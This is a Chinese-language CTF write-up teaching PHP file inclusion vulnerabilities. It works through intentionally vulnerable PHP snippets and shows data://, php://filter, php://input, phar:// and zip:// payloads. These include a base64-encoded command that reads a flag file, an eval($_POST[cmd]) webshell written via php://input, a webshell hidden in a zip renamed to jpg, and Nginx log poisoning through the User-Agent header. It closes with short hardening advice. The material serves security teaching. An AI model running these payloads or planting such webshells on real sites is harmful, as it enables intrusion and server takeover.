从CTF中学习文件包含漏洞
文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。
区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。
如果开启了我们就有可能包含远程文件。· php 中引发文件包含漏洞的通常是以下四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,
发生错误时只给出一个警告,继续向下执行。 2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。 3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行 4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。 当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,
php 内核并不在意该被包含的文件是什么类型。
所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,
由于传入的文件名没有经过合理的校验,从而引入了预想之外的文件,
从而导致意外的文件泄露、恶意的代码注入。 示例:
理想的使用是url?=main.php,代码逻辑为未传入文件则包含home.php。
但是当传递意料之外的参数时,就会造成文件包含漏洞。 <?php
if ($_GET[url]) {
include $_GET[url];
} else {
include "home.php";
}
?>
当传入带恶意代码的文件时,里面的代码会被执行。 4、php伪协议利用
4.1、data协议 data://协议必须在满足allow_url_fopen=on,allow_url_include=on下使用
data:// 伪协议利用php中流的概念,将原本include的文件流重定向到可控制的参数中。
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
案例: <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
从代码可以发现过滤了php,使用data协议绕过。 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==查看当前目录下的文件 编码前:data://text/plain;base64,<?php echo `cat flag.php`; ?>
编码后:data://text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYWcucGhwYDsgPz4=4.2、php://协议 利用条件:
1、allow_url_include = On。
php://filter用于读取源码。
php://input用于执行php代码。
php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,来读取被base64加密后的文件内容。
?file=php://filter/convert.base64-encode/resource=index.php
使用php://input执行php代码。此处踩坑,使用hackbar进行Post传输,会导致失败。推测为插件bug,具体原因不明,建议使用Burp传输 利用php://input协议写入webshell。 <?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); ?>使用php://filter读取Index.php文件 4.3、phar://协议
主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,
或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器 示例1:
payload:file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt 示例2:
使用php://filter读取include.php源码 payload:php://filter/convert.base64-encode/resource=include.php
将base64解码后得到,从内容可以发现过滤了http、data、ftp、input、%00。但是存在一个upload.php <html>
Tips: the parameter is file!
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file);
}
}
?>
再读一下upload.php base64解码,发现是白名单。 <form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
将shell.php打包成shell.zip,再将后缀名改为jpg上传 使用phar协议执行 去读flag,系统命令无法使用。 payload:?file=phar://upload/shell.jpg/shell&cmd=var_dump(scandir('/'));
?file=phar://upload/shell.jpg/shell&cmd=highlight_file("/flag.php");4.4、zip协议
使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。 示例: payload:zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt、5、包含日志文件
常见的日志文件路径:
linux
/var/log/apache2/log/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles nginx 日志文件
/usr/local/nginx/logs
可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log 示例:
从源码中可以看出过滤了php、data、:关键字 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
通过返回包确认为nginx 尝试包括日志文件
file=/var/log/nginx/access.log使用hackerbar在user-agent头写入代码,失败。
换burp,发送再访问日志文件,成功执行写入一句话木马蚁剑连接,拿到flag6、如何提前防范这个漏洞?如何进行加固?
1、设置白名单
2、过滤危险字符
3、设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,
如果设置目录的话,PHP仅仅在该目录内搜索文件。 4、关闭危险配置(allow_url_include)
|